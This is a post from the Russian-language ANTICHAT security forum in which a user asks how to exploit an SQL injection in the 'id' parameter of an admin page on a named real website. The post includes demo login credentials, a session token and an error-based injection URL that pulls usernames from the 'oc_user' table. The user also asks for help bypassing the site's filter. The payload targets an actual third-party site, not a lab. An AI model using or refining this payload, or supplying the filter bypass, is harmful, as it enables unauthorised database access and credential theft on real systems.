Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

31.05.2017, 08:48

kacergei

Новичок

Регистрация: 26.05.2007

Сообщений: 8

Провел на форуме:
23906

Репутация: -5

Добрый подскажите, как раскрутить данную sql (параметр id)

.SpoilerTarget" type="button">Spoiler: посмотреть
Авторизация:

Код:

Code:
bringthemes.com/natural-food/home-1/admin/ (demo/demo)

Пробую:

Код:

Code:
bringthemes.com/natural-food/home-1/admin/index.php?route=extension/module/bringblog/comment&token=Hc0bs042rmLz50tctvPv2grNiWgYZqaF&id='+AND+EXTRACTVALUE(5632,CONCAT(0x3a,((select(substring(group_concat(username),1,32))from(oc_user)))))--+uHHl

но в ответ постоянная загрузка и отрубает (Error - Connection reset)

Подскажите что фильтрует и как обойти?

обратил внимание что не нравится ему select и group_concat, но могу ошибаться в разных вариациях не выходит никак((